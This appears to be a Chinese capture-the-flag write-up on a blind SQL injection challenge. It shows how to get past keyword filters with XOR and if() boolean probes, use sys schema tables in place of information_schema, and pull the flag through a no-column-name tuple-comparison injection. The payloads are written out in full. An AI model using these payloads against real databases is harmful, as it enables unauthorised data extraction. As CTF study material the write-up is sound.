题目

有输入框,依次输入1,2发现回显,3的时候无回显。随便fuzz一下

过滤了or,information,union,and估计是要盲注

尝试一下异或注入

0^(length(database())>10)

测试 if 也可以

id=if(length(database())=21,1,0)
if(ascii(substr(database(),{},1))>{},1,0)
if(database()=0x676976655f6772616e6470615f70615f70615f7061,1,0)

过滤了information表,采用替换表

sys.schema_table_statistics_with_buffer,sys.x$schema_flattened_keys

则查库查表都一样,但是这几个表中没有储存列名。所以得用无列名注入

数据库give_grandpa_pa_pa_pa
表名f1ag_1s_h3r3_hhhhh,users233333333333333

无列名注入

数据库select (select ‘b’)>(select ‘abcd’);

返回1,即只会比较首字母,这样的话我们可以逐位进行比较。遇到相等则让我们比较的字符串增加该字母,一直这样匹配出flag。(ASCII偏移)

测试列数

1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) =>Error Occured When Fetch Result.
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))^1 =>Nu1L

payload

2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))
或者直接猜列名是flag
if(ascii(substr((select(flag)from(f1ag_1s_h3r3_hhhhh)),{},1))>{},1,0)

参考

https://blog.csdn.net/weixin_43940853/article/details/106164162

https://blog.csdn.net/fmyyy1/article/details/115447291

https://www.anquanke.com/post/id/193512#h2-3

https://syunaht.com/p/1354079185.html

https://www.cnblogs.com/Article-kelp/p/16083905.html